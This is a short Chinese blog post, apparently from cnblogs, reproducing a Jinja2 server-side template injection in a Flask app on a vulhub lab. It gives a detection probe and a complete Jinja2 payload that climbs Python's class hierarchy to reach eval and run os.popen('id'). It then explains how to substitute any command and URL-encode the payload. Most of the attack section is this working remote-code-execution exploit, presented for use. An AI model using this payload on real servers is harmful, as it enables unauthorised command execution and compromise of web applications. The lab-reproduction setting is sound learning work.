框架:python---Flask
描述:Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug ,模板引擎则使用Jinja2
漏洞复现:Jinja2 SSTI模板注入
使用vulhub靶场,启动环境
先进入容器看一下web服务的代码,得出参数值为name,且可控
判断是否存在ssti漏洞,输入:?name={{1*9}},被执行则漏洞存在
用jinja的语法写一个执行命令的代码:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
执行命令用法:修改代码中popen("要执行的命令")
将代码进行url编码,百度
标签:.__,7D%,--,25%,7B%,20%,0A%,Jinja2,SSTI From: https://www.cnblogs.com/o-O-oO/p/18175227